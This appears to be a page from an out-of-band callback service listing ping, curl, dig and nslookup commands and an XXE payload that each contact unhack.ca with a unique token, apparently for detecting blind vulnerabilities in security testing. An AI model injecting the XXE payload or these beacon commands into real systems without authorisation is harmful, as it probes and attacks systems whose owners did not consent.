$ ping -c1 -p 00d15cfab83d3ad14f62a170a4604c00 unhack.ca
 

$ curl http://unhack.ca/p/d15cfab83d3ad14f62a170a4604c
 

$ dig d15cfab83d3ad14f62a170a4604c @unhack.ca
 

$ dig d15cfab83d3ad14f62a170a4604c.ns.unhack.ca
 

C:\> nslookup d15cfab83d3ad14f62a170a4604c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d15cfab83d3ad14f62a170a4604c">]>
    <foo>&xxe;</foo>